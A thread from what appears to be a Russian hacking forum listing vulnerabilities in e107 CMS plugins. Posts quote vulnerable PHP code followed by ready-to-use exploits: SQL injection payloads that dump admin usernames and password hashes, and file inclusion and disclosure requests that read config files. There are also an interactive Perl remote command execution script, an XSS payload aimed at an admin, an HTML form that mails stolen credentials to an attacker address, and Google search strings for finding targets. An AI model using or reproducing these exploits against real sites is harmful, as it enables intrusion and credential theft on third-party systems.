RDot

RDot (https://rdot.org/forum/index.php)
-   Сценарии/CMF/СMS (https://rdot.org/forum/forumdisplay.php?f=15)
-   -   Уязвимости e107 CMS и плагинов (https://rdot.org/forum/showthread.php?t=67)

RulleR 05.07.2010 13:13

Уязвимости e107 CMS и плагинов
 
Plugin name: Ajax Chat (download)
Version: 1.1

SQL injection

Vuln file: /e107_plugins/ajax_chat/w.php
PHP код:

/*...*/
    
require_once("../../class2.php");
/*...*/
    
$msg $_REQUEST["m"];
    
$msg htmlspecialchars(stripslashes($msg));

    
$n $_REQUEST["n"];
    
$n htmlspecialchars(stripslashes($n));
/*...*/
$sql->mySQLresult = @mysql_query("SELECT user_id FROM ".MPREFIX."user WHERE user_name='".$n."' ");

        
$capt $sql->db_Fetch();
        
        
$theid =$capt['user_id'];
/*...*/        
$n "<strong>&lt;<a style=\"text-decoration: none;\" href='../../user.php?id.".$theid."'>".$n."</a>&gt;</strong>";
/*...*/

# file: /class2.php

/*...*/
$inArray = array("'"";""/**/""/UNION/""/SELECT/""AS ");
if (
strpos($_SERVER['PHP_SELF'], "trackback") === false) {
    foreach(
$inArray as $res) {
        if(
stristr($_SERVER['QUERY_STRING'], $res)) {
            die(
"Access denied.");
        }
    }
}
/*...*/ 

Передаем параметр "n" постом, чтобы "хакерские слова" не попали в QUERY_STRING

Exploit:
Код:

POST http://[host]/[path]/e107_plugins/ajax_chat/w.php?m=xek HTTP/1.0
Content-type: application/x-www-form-urlencoded

n=' union select concat_ws(0x3a,user_loginname,user_password) from e107_user where user_id=1--

Note: Вывод наблюдаем по адресу http://[host]/[path]/e107_plugins/ajax_chat/chat.txt
Код:

<strong>&lt;<a style="text-decoration: none;" href='../../user.php?id.{user_loginname:user_password}'>

RulleR 05.07.2010 13:17

e107 Plugin [e107shop] Local File Inclusion Vulnerability
 
Plugin name: e107shop (download)
Version: 1.2.19

Local File Inclusion

Vuln file: /e107_plugins/e107shop/payment.php
PHP код:

<?php
/*...*/
$checkout .= e107shop_payment_forms($_POST["payment"], $grandTotal$_POST["customer_name"], $_POST["customer_last_name"], 
$_POST["customer_city"], $_POST["customer_state"], $_POST["customer_country"], $_POST["region"], 
$postage_price$_POST["customer_zip"], $_POST["customer_address1"] . "<br>" $_POST["customer_address2"], 
$_POST["customer_email"], $_POST["coupon"]);
/*...*/

# file: /e107_plugins/e107shop/library/payment_class.php

/*...*/
function e107shop_payment_forms($gateway$total$fname$lname$city
$state$country$region$postage$zip$address$email$coupon){
/*...*/
    // security traps
    
$gateway $tp->toDB($gateway);
/*...*/
    
$payment_text = require("gateways/".$gateway);
/*...*/

# file: /e107_handlers/e_parse_class.php

/*...*/
    
function toDB($data$nostrip false$no_encode false$mod false)
    {
        global 
$pref;
        if (
is_array($data)) {
            
// recursively run toDB (for arrays)
            
foreach ($data as $key => $var) {
                
$ret[$key] = $this -> toDB($var$nostrip$no_encode$mod);
            }
        } else {
            if (
MAGIC_QUOTES_GPC == TRUE && $nostrip == false) {
                
$data stripslashes($data);
            }
            if(isset(
$pref['post_html']) && check_class($pref['post_html']))
            {
                
$no_encode TRUE;
            }
            if (
$no_encode === TRUE && $mod != 'no_html')
            {
                
$search = array('$''"'"'"'\\''<?');
                
$replace = array('$','&quot;',''', '\', '&lt;?');
                $ret = str_replace($search, $replace, $data);
            } else {
                $data = htmlspecialchars($data, ENT_QUOTES, CHARSET);
                $data = str_replace('
\\', '\', $data);
                $ret = preg_replace("/&amp;#(\d*?);/", "&#\\1;", $data);
            }

            if(!check_class($pref['
php_bbcode']))
            {
                $ret = preg_replace("#\[(php)#i", "[\\1", $ret);
/*...*/
        return $ret;
    }
/*...*/

Exploit:
Код:

POST http://[host]/[path]/e107_plugins/e107shop/checkout.php HTTP/1.0
Content-Type: application/x-www-form-urlencoded

payment=../../../../../[local_file]&pay=Proceed


RulleR 05.07.2010 13:19

e107 Plugin [Youtube Gallery] Blind SQL injection Vulnerability
 
Plugin name: Youtube Gallery (download)
Version: 4.01

Blind SQL injection

Vuln file: /e107_plugins/ytm_gallery/db.php
PHP код:

/*...*/
header("Cache-Control: no-cache");
header("Pragma: nocache");
require_once(
"../../class2.php");
/*...*/
$id_sent $_REQUEST['q'];
/*...*/
$query mysql_query("SELECT total_votes, total_value, used_ips FROM $rating_dbname.$rating_tableName WHERE id='$id_sent' ")or die(" Error: ".mysql_error());
/*...*/ 

Need: magic_quotes = off
Exploit:
Код:

POST http://[host]/[path]/e107_plugins/ytm_gallery/db.php HTTP/1.0
Content-type: application/x-www-form-urlencoded

q=' and (select+*+from+(select+count(*),concat((select concat_ws(0x3a,user_loginname,user_password) from e107_user where user_id=1),floor(rand(0)*2)) from e107_links group by 2)x)--


RulleR 05.07.2010 13:22

e107 Plugin [Alternate Profiles] File Disclosure Vulnerability
 
Plugin name: Alternate Profiles (download)
Version: 0.3

File Disclosure

Vuln file: /e107_plugins/alternate_profiles/stream.php
PHP код:

<?php 
ob_start
();
header("Expires: Mon, 20 Dec 1977 00:00:00 GMT");
header("Last-Modified: " gmdate("D, d M Y H:i:s") . " GMT");
header("Cache-Control: no-store, no-cache, must-revalidate");
header("Cache-Control: post-check=0, pre-check=0"false);
header("Pragma: no-cache");
header("Content-Type: audio/mpeg");
@
readfile($_GET["file"]);// ololo
ob_end_flush();
?>

Exploit:
Код:

http://[host]/[path]/e107_plugins/alternate_profiles/stream.php?file=../../e107_config.php

RulleR 05.07.2010 13:26

e107 Plugin [Torrent Tracker] SQL injection Vulnerability
 
Plugin name: Torrent Tracker (download)
Version: 1.06b4

SQL injection

Vuln file: /e107_plugins/tracker_menu/users.php
PHP код:

/*...*/
elseif($_GET["cntr"] == "info" || $_GET["cntr"] == "edit") {
if(
$_GET["uid"]) {
    
$uid $_GET["uid"];
    
$uname $e_users[0][$uid];
}
/*...*/
$numuser $sql -> db_Select("tracker_users""user_id,level,up,dl,passkey,actdate,lastdate,tentorr,lastipport""user_id = ".$uid);
/*...*/ 

Need: user account
Exploit:
Код:

http://[host]/[path]/e107_plugins/tracker_menu/users.php?cntr=info&uid=0+union+select+null,concat_ws(0x3a,user_loginname,user_password),null,null,null,null,null,null,null+from+e107_user+where+user_id=1--+

RulleR 05.07.2010 13:31

e107 Plugin [Kroozearcade] SQL injection Vulnerability
 
Plugin name: Kroozearcade (download)
Version: 8.0

SQL injection

#1
Vuln file: /e107_plugins/kroozearcade_menu/challenges.php
PHP код:

/*...*/
if (isset($_GET['details'])) {
$sql->mySQLresult = @mysql_query("SELECT * FROM ".MPREFIX."arcade_challenges WHERE id=".$_GET['details']."");
$row $sql->db_Fetch();
/*...*/ 

Need: user account
Exploit:
Код:

http://[host]/[path]/e107_plugins/kroozearcade_menu/challenges.php?details=0+union+select+null,null,null,null,null,null,concat_ws(0x3a,user_loginname,user_password),null,null,null,null,null,null+from+e107_user+where+user_id=1
#2
Vuln file: /e107_plugins/kroozearcade_menu/fav.php
PHP код:

/*...*/
if(isset($_GET['confirm'])) {
    
$sql->mySQLresult = @mysql_query("SELECT game_title FROM ".MPREFIX."arcade_games WHERE game_id=".$_GET['gameid']."");
    
$conf $sql->db_Rows();
/*...*/ 

Need: user account
Exploit:
Код:

http://[host]/[path]/e107_plugins/kroozearcade_menu/fav.php?confirm=xek&gameid=0+union+select+concat_ws(0x3a,user_loginname,user_password)+from+e107_user+where+user_id=1

RulleR 05.07.2010 13:33

e107 Plugin [e107_netquery] SQL injection Vulnerability
 
Plugin name: e107_netquery (download)
Version: 1.0

SQL injection

Vuln file: /e107_plugins/netquery/portlist.php
PHP код:

/*...*/
require_once("../../class2.php");
/*...*/
$portnum = (isset($_REQUEST['portnum'])) ? $_REQUEST['portnum'] : '80';
/*...*/
$query "SELECT * FROM ".MPREFIX."nq_ports WHERE flag < '99' AND port = '".$portnum."' ";
/*...*/ 

Need: magic_quotes = off
Exploit:
Код:

POST http://[host]/[path]/e107_plugins/netquery/portlist.php HTTP/1.0
Content-type: application/x-www-form-urlencoded

portnum=' union select 1,null,concat_ws(0x3a,user_loginname,user_password),null,null,null from e107_user where user_id=1--


RulleR 05.07.2010 13:35

e107 Plugin [aa_meetings] SQL injection Vulnerability
 
Plugin name: aa_meetings (download)
Version: 1.1

SQL injection

Vuln file: /e107_plugins/aa_meetings/directory.php
PHP код:

/*...*/
if (($_GET['Day_qf'] && $_GET['City_qf']) || $_GET['Search_qf']) {

    
// Create the SQL select statement for the meetings
    
$query "select t1.*, concat_ws(\"@\", left(t1.Day, 3), date_format(t1.Time, \"%l:%i %p\")) as `MeetingTime`, (select group_concat(ta.Type separator \"/\") from e107_aam_mtg_Types as ta where ta.MeetingID=t1.MeetingID) as `MeetingType` from e107_aam_meetings as t1 left join e107_aam_mtg_Types as t2 on t1.MeetingID=t2.MeetingID where 1";
/*...*/
    
if ($_GET['City_qf']) $query .= " and t1.City=\"".urldecode($_GET['City_qf'])."\"";
/*...*/
    
$result mysql_query ($query);
/*...*/ 

Exploit:
Код:

http://[host]/[path]/e107_plugins/aa_meetings/directory.php?Day_qf=xek&City_qf=%2522+union+select+null,null,null,concat_ws(0x3a,user_loginname,user_password),null,null,null,null,null,null,null,null,null,null,null,null+from+e107_user+where+user_id=1--+

Pashkela 05.07.2010 22:47

e107 <= 0.7.20 remote code execute
 
e107 <= 0.7.20 remote code execute

Допилено из:

http://downloads.securityfocus.com/v...loits/40252.pl

Код:

use LWP::UserAgent;
my $path = $ARGV[0] or die("Usage: perl e107_phpbb.pl http://e107site/pathto/contact.php\n");
sub char_p($) {
        $str1=$_[0];
        $aa="";$bb="";
        for ($i = 0; $i<length($str1); $i++ ) {
            $aa =  ord(substr($str1,$i,1));
            if ( $i == 0 ) {$bb= "chr(" . $aa . ")";} else { $bb= $bb. ".chr(" . $aa . ")" ;}
        }
        return "$bb";
}
go();
sub go
{
  while (1){
    print "Enter command - passthru(.....):\n";
    $choice = <STDIN>;
    chomp $choice;
    print "--------------------\n";
    print "Command: passthru($choice)\n";
    print "--------------------\n";
    $choice1 = char_p ($choice);
    my $load = "passthru($choice1)"; # Simple 'id' command. Put ur PHP payload here! :)
    # Remove comment for proxy support
    #my $proxy = 'http://127.0.0.1:8118/';
    #$ENV{http_proxy} = $proxy ? $proxy: 0;
    $ua = new LWP::UserAgent;
    $ua->agent("Mozilla/5.0");
    if ( $proxy ){
      print "[*] Using proxy $proxy \n";
      $ua->env_proxy('1');
    }
    my $req = new HTTP::Request POST => $path;
    $req->content_type('application/x-www-form-urlencoded');
    $req->content("send-contactus=1&author_name=%5Bphp%5D$load%3Bdie%28%29%3B%5B%2Fphp%5D");
    my $res = $ua->request($req);
    my $data = $res->as_string;
    if ( $data =~ /<td class=["']main_section['"]>(.*)/ ){
      $data = $1;
      print "$data\n";
      print "--------------------\n";
      print "done: passthru($choice)\n";
      print "--------------------\n";
    }else{
      print "$data\n";
      print "--------------------\n";
      print "done: passthru($choice)\n";
      print "--------------------\n";
    }
  }
}

Т.е. просто вводите например ls -la и видите результат, если не сработало - тогда юзаем сплойт ниже (или сразу его, чтобы проверить сначала), смотрим phpinfo() и видим disabled functions (на крутых сайтах постоянно встречается), думаем, что можно сделать с помощью php-кода:

PHP код:

<?
$url 
"http://site.com/contact.php";
$parse_url parse_url($url);
$path $parse_url["path"];
$host$parse_url["host"];
$code ='phpinfo();'#<=== Ваш php-код здесь
$data1 '[ php ]'.$code.'die();[ /php ]'#<=== В этой строчке удалите все пробелы
$data "send-contactus=1&author_name=send-contactus=1&author_name=".urlencode($data1);
$fp fsockopen($host80$errno$errstr30); 
if (
$fp){ 
  
$out "POST ".$path." HTTP/1.1\n"
  
$out .= "Host: ".$host."\n"
  
$out .= "Referer: ".$url."/\n"
  
$out .= "User-Agent: Opera\n"
  
$out .= "Content-Type: application/x-www-form-urlencoded\n"
  
$out .= "Content-Length: ".strlen($data)."\n\n"
  
$out .= $data."\n\n"
  
fputs($fp$out);
  while(
$gets=fgets($fp,2048)) { 
    print 
$gets
  } 
  
fclose($fp); 
}
?>

обычно доступны на запись:

/e107_files/public
/e107_files/public/avatars
/e107_files/cache

PS: Примечание - в некоторых случаях команды с пробелами вообще не работают, т.е. для первого варианта кода лучше юзать просто ls для начала

Strilo4ka 06.07.2010 14:27

Reputation v1.1

23:34 05-Feb-10

Blind SQL inj

Vuln file: /e107_plugins/reputation/reputation.php

PHP код:

...if($pref['reputation_show']) {
    if(
$_GET['list']) {
    
$user get_user_data($_GET['list']);

    
$repdb = new db();
    
$repdb->db_Connect($mySQLserver$mySQLuser$mySQLpassword$mySQLdefaultdb);

    
$repdb->db_Select("reputation""reputation_value""reputation_to_id='".$_GET['list']."'");

    while(
$trr $repdb->db_Fetch()) {
        
$total_rep $total_rep $trr['reputation_value'];
    }... 

У меня 5 мускуль.

Result:
http://[host]/[path]/e107_plugins/reputation/reputation.php?list=1'+and+substring(version(),1,1 )=5
общая репа выводиться!

http://[host]/[path]/e107_plugins/reputation/reputation.php?list=1'+and+substring(version(),1,1 )=4
общая репа не выводиться!

условие:
mg=off

пасивная XSS
- травим админа!

/e107_plugins/reputation/reputation.php
PHP код:

...<div style='margin: 4px; padding: 4px; border: 1px solid red; text-align: center;'>
                                            <
input type='hidden' name='repto' value='".$user['user_id']."' />
                                            <
input type='hidden' name='url' value='".$_POST["url_p"]."' />
                                            <
input type='hidden' name='repfrom' value='".USERID."' />
                                            <
input type='hidden' name='rand_num' value='".$sec_img->random_number."' />".$sec_img->r_image()."
                                            
<br />... 

http://[host]/[path]/e107_plugins/reputation/reputation.php?add=anything
постом шлем url_p=' /><script>alert(/XSS/)</script>

Там дальше может блинд есть в инсерте, только толку от него когда нет вывода ошибки.

ps CMS e107 http://[host]/[path]/comment.php - у меня пути были.

Strilo4ka 06.07.2010 14:31

YouTube Gallery 4.01

blind SQL inj


inurl:e107_plugins/ytm_gallery - в гугле

ytm.php в корене плагина
PHP код:

 ...if(isset($_GET['view']))
{
$view_movie $_GET['view'];
}... 

PHP код:

...$query06          "
SELECT movie_title, cat_name, cat_auth, input_user, timestamp FROM "
.MPREFIX."er_ytm_gallery_movies gm
LEFT JOIN "
.MPREFIX."er_ytm_gallery_category gg ON gm.movie_category = gg.cat_id
WHERE movie_code = '
$view_movie'";

$result06          mysql_query($query06);
while (
$row06      mysql_fetch_array($result06,MYSQL_ASSOC)) {... 

Ролик выводиться|нет(надо знать movie_code)!
http://e107/e107_plugins/ytm_gallery/ytm.php?view=OtfMIiinJso' and 1=1/* - true
http://e107/e107_plugins/ytm_gallery/ytm.php?view=OtfMIiinJso' and 1=0/* - false

У меня 5 ветка.

ytm.php- тот же файл

PHP код:

...if(isset($_GET['cat']))
{
$movie_cat $_GET['cat'];
}else{
$movie_cat $_POST['cat'];
}... 

PHP код:

...if ($movie_cat){

            
$query05        "SELECT cat_auth FROM ".MPREFIX."er_ytm_gallery_category WHERE cat_id = '$movie_cat'";
            
$result05       mysql_query($query05);
            while (
$row05   mysql_fetch_array($result05,MYSQL_ASSOC)) {
            
$check_auth     $row05['cat_auth'];}

            if(!
check_class($check_auth)) {

                        
$text .= LAN_YTM_PAGE_1;
                        
$ns->tablerender($ym_title $text);
                        require_once(
FOOTERF);
                        exit();... 

http://e107/e107_plugins/ytm_gallery/ytm.php?cat=1'+and+substring((select version()),1,1)=4--+
http://e107/e107_plugins/ytm_gallery/ytm.php?cat=1'+and+substring((select version()),1,1)=5--+ - true

Условие: mg=off

Strilo4ka 06.07.2010 14:32

AACGC BFBC2 Stats 1.5 09 May10 - добавлено!

гугл- inurl:e107_plugins/aacgc_bfbcstats

http://plugins.e107.org/e107_plugins...?artifact.757# - скачано

2-d order inj
Никаких условий.

1 принтабельное поле. В первом запросе 2 поля.
хексим и тулим в первый атрибут :

' union select 1,concat_ws(user_loginname,':',user_password),3,4, 5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,2 3,24,25,26,27,28,29,30,31 from e107_user limit 0,1--

0x2720756e696f6e2073656c65637420312c636f6e6361745f 777328757365725f6c6f67696e6e616d652c273a272c757365 725f70617373776f7264292c332c342c352c362c372c382c39 2c31302c31312c31322c31332c31342c31352c31362c31372c 31382c31392c32302c32312c32322c32332c32342c32352c32 362c32372c32382c32392c33302c33312066726f6d20653130 375f75736572206c696d697420302c312d2d20

Вот так:
http://e107/e107_plugins/aacgc_bfbcs...Details.php?.1 union select 0x2720756e696f6e2073656c65637420312c636f6e6361745f 777328757365725f6c6f67696e6e616d652c273a272c757365 725f70617373776f7264292c332c342c352c362c372c382c39 2c31302c31312c31322c31332c31342c31352c31362c31372c 31382c31392c32302c32312c32322c32332c32342c32352c32 362c32372c32382c32392c33302c33312066726f6d20653130 375f75736572206c696d697420302c312d2d20,2 from e107_user limit 0,1--

На выходе:
Цитата:

:admin21232f297a57a5a743894a0e4a801fc3 ()
Сори, ":" нетуда впихнул
Member_Details.php в корене плагина.
PHP код:

...require_once("../../class2.php");
require_once(
HEADERF);

if (
e_QUERY) {
        
$tmp explode('.'e_QUERY);
        
$action $tmp[0];
        
$sub_action $tmp[1];
        
$id $tmp[2];
        unset(
$tmp);
}

if (
$pref['bfbc_enable_gold'] == "1"){$gold_obj = new gold();}

//---------------------------------------------------------------

$title .= "Battlefield Bad Company 2 Member Details";

//---------------------------------------------------------------

$sql ->db_Select("user_extended""*""WHERE user_extended_id=$sub_action","");
$row $sql->db_Fetch();
$sql2 ->db_Select("user""*""WHERE user_id='".$row['user_extended_id']."'","");
$row2 $sql2->db_Fetch();

if (
$pref['bfbc_enable_gold'] == "1"){
$username "".$gold_obj->show_orb($row2['user_id'])."";}
else
{
$username "".$row2['user_name']."";}
if (
$pref['bfbc_enable_avatar'] == "1"){
if (
$row2['user_image'] == "")
{
$avatar "";}
else... 


Strilo4ka 06.07.2010 14:34

AACGC Xfire Stats v1.4
20 Mar 10 : 02:15 ~M@CH!N3~ 64.11 kB

2-d order inj

Xfire_History.php в корне плагина.

PHP код:

 /*
#######################################
#     AACGC Xfire Stats               #
#     by M@CH!N3                      #
#     http://www.AACGC.com            #
#######################################
*/


//-----------------------------------#Main Page Config#------------------------------------------------------
require_once("../../class2.php");
require_once(
HEADERF);
if (
e_QUERY) {
        
$tmp explode('.'e_QUERY);
        
$action $tmp[0];
        
$sub_action $tmp[1];
        
$id $tmp[2];
        unset(
$tmp);
}
//-----------------------------------------------------------------------------------------------------------
$text .= "<center>[ <a href='".e_PLUGIN."aacgc_xfirestats/Xfire_List.php'>Back To Xfire List</a> ]<br>";

$sql ->db_Select("user_extended""*""WHERE user_extended_id=$sub_action","");
$row $sql->db_Fetch();
$sql2 = new db;
$sql2 ->db_Select("user""*""WHERE user_id='".$row['user_extended_id']."'","");
$row2 $sql2->db_Fetch();

$xfireusername "".$row['user_xfire']."";
$siteusername "".$row2['user_name']."";
//-----------------------

error_reportingE_ERROR );

$username "".$xfireusername."";

include 
"xfireparser.class.php";
$x = new xfire_data;
$x->SetUsername$username );

$profile $x->GetProfile();
$live $x->GetLive();
$gametime $x->GetGamedata();
$rig $x->GetGamerig();

//-----------------------

$text .= "<script src='sorttable.js' type='text/javascript'></script>";
/*...*/ 

PHP код:

/*...*/$text .= "<tr>
          <td style='width:25%' class='forumheader3' rowspan=8><center><img src='"
.$profile['avatar']."' alt='Avatar'></img> <br> ".$siteusername."'s (".$xfireusername.") <br> Xfire Details</center></td>
          <td style='width:15%' class='forumheader3'>Status:</td>
          <td style='width:60%' class='forumheader3'>"
.$live['status']."</td>
          </tr>"
;/*...*/ 

PHP код:

 /*...*/$ns -> tablerender("Xfire Details"$text);
require_once(
FOOTERF); 


Результат:
хексим ' union select 1,concat_ws(':',user_loginname,user_password),3,4, 5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,2 3,24,25,26,27,28,29,30,31 from e107_user limit 0,1--

http://e107/e107_plugins/aacgc_xfirestats/Xfire_History.php?.1 union select 0x2720756e696f6e2073656c65637420312c636f6e6361745f 777328273a272c757365725f6c6f67696e6e616d652c757365 725f70617373776f7264292c332c342c352c362c372c382c39 2c31302c31312c31322c31332c31342c31352c31362c31372c 31382c31392c32302c32312c32322c32332c32342c32352c32 362c32372c32382c32392c33302c33312066726f6d20653130 375f75736572206c696d697420302c312d2d2020,2 from e107_user limit 0,1--+

Цитата:

Avatar
admin:21232f297a57a5a743894a0e4a801fc3's ()
Xfire Details
ps
не давайте вконце запроса (незахексеного) после коментария "+". При " " вывело хеш и логин...
С "+" была ошибка, которую я увидел после того, как зашел в e107_handlers, открыл и дописал die(mysql_error()) в функцию класа который работает с БД.
Если б этого не сделал, то б не выложил пост этот...
не забываем что в таблице где юзеры есть атрибут user_admin=1, но вот с префиксом бока если другой...

Strilo4ka 06.07.2010 14:37

AACGC Attendance List v2.8 by ~M@CH!N3~ 07:29 02-Apr-10

гугл- e107_plugins\aacgc_event_listing

SQL injection

Уязвимые скрипты в корне плагина находяться.

Event_Details.php.
PHP код:

require_once("../../class2.php");
require_once(
HEADERF);
if (
e_QUERY) {
        
$tmp explode('.'e_QUERY);
        
$action $tmp[0];
        
$sub_action $tmp[1];
        
$id $tmp[2];
        unset(
$tmp);
}


//------------------------------------------------------------------------------------------------------------

$text .= "<table style='width:100%' class='' cellspacing='' cellpadding=''>";


$sql->db_Select("aacgc_event_listing""*""WHERE event_id = $sub_action","");
$row $sql->db_Fetch();


if (
$row['event_link'] == "")
{
$link "";}
else
{
$link "[<a href='".$row['event_link']."'> ".$row['event_linktext']." </a>]";}

if (
$row['event_cost'] == "")
{
$cost "";}
else
{
$cost "<tr>/*...*/ 

Результат:
http://e107/e107_plugins/aacgc_event_listing/Event_Details.php?.1 and 0 union select 1,2,3,4,5,concat_ws(0x3a,user_loginname,user_passw ord),7,8,9,10 from e107_user where user_admin=1 limit 0,1

SQL inj + 2-d order inj
PHP код:

/*...*/if (e_QUERY) {
        
$tmp explode('.'e_QUERY);
        
$action $tmp[0];
        
$sub_action $tmp[1];
        
$id $tmp[2];
        unset(
$tmp);/*...*/ 

PHP код:

/*...*/if ($action == "det") {

        
$sql->db_Select("aacgc_event_listing_members""*""WHERE eventmem_id=$sub_action","");
        
$row $sql->db_Fetch();
        
$sql2 = new db;
        
$sql2->db_Select("user""*""WHERE user_id=".$row['user_id']."","");
        
$row2 $sql2->db_Fetch();
        
$sql3 = new db;
        
$sql3->db_Select("aacgc_event_listing""*""WHERE event_id=".$row['event_id']."","");
        
$row3 $sql3->db_Fetch();

if (
$row['user_choice'] == "1"){
$choice "Yes";}
if (
$row['user_choice'] == "2"){/*...*/ 

PHP код:

 /*...*/$text .= "<br><br><center>
<form method='POST' action='Event_UserEdit_Request.php'>
<table style='' class='indent'>
<tr>
<td style='width:'>Your Info:</td>
<td style='width:'><select name='user_id'><option name='user_id' value='"
.$row['user_id']."'>".$row2['user_name']."</option></td>/*...*/ 

Результат:
http://e107/e107_plugins/aacgc_event_listing/Event_UserEdit_Request.php?det.-1 union select 1,2,3,4,concat_ws(0x3a,user_loginname,user_passwor d) from e107_user where user_admin=1 limit 0,1--

все сводиться к узнанию префикса...
ps
1. есть иньекции с правами админа.
2. в update еще видел.

Strilo4ka 06.07.2010 14:39

Order Form v1.22 by -Smiley-

гугл- inurl:e107_plugins/order_form


SQL inj (blind SQL inj)


order_form.php в корене плагина.
PHP код:

 /*...*/
/// ##### CHECK QUERY --------------------------------------------------------------------------------------------------------------------------------------------------------------
if(e_QUERY){
    
$tmp explode("."e_QUERY);
    
$action $tmp[0];
    
$id $tmp[1];
    unset(
$tmp);
}
// ##### End ----------------------------------------------------------------------------------------------------------------------------------------------------------------------

// ##### EMAIL REKENING -----------------------------------------------------------------------------------------------------------------------------------------------------------
if(IsSet($_POST['email'])){
    if(
$_POST['id'] != "" && $_POST['item_name'] != "" && $_POST['from_name'] != "" && $_POST['from_email'] != "" && $_POST['from_address'] != "" && $_POST['from_postcode'] != "" && $_POST['from_city'] != "" && $_POST['from_phone'] != "" && $_POST['from_amount'] != "" && $_POST['from_amount'] != "0" && $_POST['item_value'] != "" ){

        
$sql = new db;
        if(!
$item $sql -> db_Select("order_form""*""order_form_type !='0' AND order_form_id='".$_POST['id']."' ")){
            
$error ORDER_22;
            
$id $_POST['id'];
        }else{
            while(
$row $sql -> db_Fetch()){
            
extract($row);
                
$item_name $order_form_name;
                
$item_desc $order_form_description;
                
$item_author $order_form_author;
                
$item_email $order_form_email;
                
$item_publisher $order_form_publisher;
                
$item_isbn $order_form_isbn;
                
$item_size $order_form_size;
                
$item_cost $order_form_cost;
                
$item_icon $order_form_icon;
                
$item_link $order_form_link;
            }
        }

        if(
$_POST['from_email']){
            if(!
preg_match('/^[-!#$%&\'*+\\.\/0-9=?A-Z^_`{|}~]+@([-0-9A-Z]+\.)+([0-9A-Z]){2,4}$/i'$_POST['from_email'])){
                
$error ORDER_51."<br />";
                
$id $_POST['id'];
            }
        }
/*...*/ 

PHP код:

/*...*/$message .= "
                "
.ORDER_45." ".SITENAME." : ".SITEURL."<br />
                <br />
                <b>"
.ORDER_42.":</b><br />
                "
.ORDER_3.": ".$item_name."<br />
                "
.ORDER_4.": ".$item_desc."<br />
                "
.ORDER_4.": ".$item_author."<br />
                "
.ORDER_6.": ".$item_publisher."<br />
                "
.ORDER_7.": ".$item_isbn."<br />
                "
.ORDER_8.": ".$item_size."<br />
                "
.ORDER_5." : ".$pref['order_form_bcsym']." ".$item_cost." ".$pref['order_form_csymbol']."<br />
                <br />
                <b>"
.ORDER_43.":</b><br />
                "
.ORDER_23.": ".$_POST['from_name']."<br />
                "
.ORDER_24.": ".$_POST['from_email']."<br />
                "
.ORDER_25.": ".$_POST['from_address']."<br />
                "
.ORDER_27.": ".$_POST['from_postcode']."<br />
                "
.ORDER_29.": ".$_POST['from_city']."<br />
                "
.ORDER_30.": ".$_POST['from_phone']."<br />
                "
.ORDER_32.": ".$_POST['from_amount']."<br />
                "
.ORDER_5.": ".$pref['order_form_bcsym']." ".$_POST['item_value']." ".$pref['order_form_csymbol']."<br />
                "
.ORDER_44.": ".$_POST['from_body']."<br />
                "
;/*...*/ 

Идея в том что на мыло должны приходить данные из СУБД.
У меня не работает sendmai, потому примера нет.

Так крутить как слепую можно:

PHP код:

 /*...*/...if(!sendemail($address$subject$message$headers)){
                
$message ORDER_15;
            }else{
                
$message ORDER_16;
            }...
/*...*/ 


Если все отработало, то появление текста:
Цитата:

the order is send
2. На мыло должно прийти:
Цитата:

ORDERED PRODUCT:
product: admin:21232f297a57a5a743894a0e4a801fc3
author: 3
author: 5
publisher: 7
ISBN: 8
size (in mm): 9
price : 10.00 €

Вывел в скрипте переменную чтоб было видно что будет отправляться

6 поле в иньекции - это адрес куда отправлять!
Шлем постом все переменные чтоб ошибки небыли и все...

Условие:
mg=off

target:
http://e107/e107_plugins/order_form/order_form.php

чуть не забыл:
Код HTML:

<form action="http://e107/e107_plugins/order_form/order_form.php" method=post>
<input type="text" name=id value="2' and 0 union select 1,concat_ws(0x3a,user_loginname,user_password),3,4 ,5,6,7,8,9,10,11,12,13 from e107_user limit 0,1-- ">
<input type="hidden" name=email>
<input type="hidden" name=from_email value='abrakadabra@mail.ru'>
<input type="hidden" name=from_address value=1>
<input type="hidden" name=from_name value=1>
<input type="hidden" name=item_name value=1>
<input type="hidden" name=from_postcode value=1>
<input type="hidden" name=from_city value=1>
<input type="hidden" name=from_phone value=1>
<input type="hidden" name=from_amount value=1>
<input type="hidden" name=from_amount value=1>
<input type="hidden" name=item_value value=1>
<input type=submit>
</form>

ps в других скриптах есть тоже вроде скули, нужны права админа посему не смотрел...
там где 6 пишем куда отпралять логин и хеш админа.
Удачи)

Strilo4ka 06.07.2010 14:42

Lineage 2 Statistics v0.2 by zenger 26-Mar-10

e107_plugins/l2stat/inc/clan_info.php
PHP код:

/*...*/$id $_GET['id'];

if(
$id <= '1') {

echo 
"<br><div align='center'><input value='".LS_40."' name='Go Back' onclick=\"location.href = 'javascript:history.back()'\" class='submit' type='button'></div>";

}

else {

$awc['l2s_ip'] = "127.0.0.1";
$awc['l2s_admin'] = "zenger";
$awc['l2s_password'] = "951123";
$awc['l2s_base'] = "l2jdb";

 
mysql_connect($awc['l2s_ip'],$awc['l2s_admin'],$awc['l2s_password']) or die("".LS_38.""); 
mysql_select_db($awc['l2s_base']) or die("".LS_38.""); 

$result1 mysql_query("SELECT `clan_name`,`leader_id`,`clan_level`,`create_time`   FROM `clan_data` WHERE `clan_id`='$id'");/*...*/ 

Была б SQL inj если не
Цитата:

Parse error: syntax error, unexpected '}' in Z:\home\e107\www\e107_plugins\l2stat\inc\clan_info .php on line 33
; там не поставил автор.

Интересный плагин. Если крутиться, то повезло...
Понравился файл /e107_plugins/l2stat/admin_l2

PHP код:

 /*...*/
#-----------------------------------------------------------------------
$ip = $_POST['ip'];
$name = $_POST['name'];
$gport = $_POST['gport'];
$lport = $_POST['lport'];
$web = $_POST['web'];
$admin= $_POST['admin'];
$password = $_POST['password'];
$base = $_POST['base'];
$port = $_POST['port'];
include("dbconfig.php");

if (isset($_POST['edit'])) {
$fr = fopen('dbconfig.php', 'w');

$cos .= "<?php\n";
$cos .= "\$l2s['name'] = \"$name\";\n";
$cos .= "\$l2s['web'] = \"$web\";\n";
$cos .= "\$l2s['ip'] = \"$ip\";\n";
$cos .= "\$l2s['lport'] = \"$lport\";\n";
$cos .= "\$l2s['gport'] = \"$gport\";\n";
$cos .= "\$l2s['host'] = \"$ip\";\n";
$cos .= "\$l2s['username'] = \"$admin\";\n";
$cos .= "\$l2s['password'] = \"$password\";\n";
$cos .= "\$l2s['port'] = \"$port\";\n";
$cos .= "\$l2s['db'] = \"$base\";\n";
$cos .="?>";
fwrite($fr$cos); 
fclose($fr);/*...*/


Нужны права админа
PHP код:

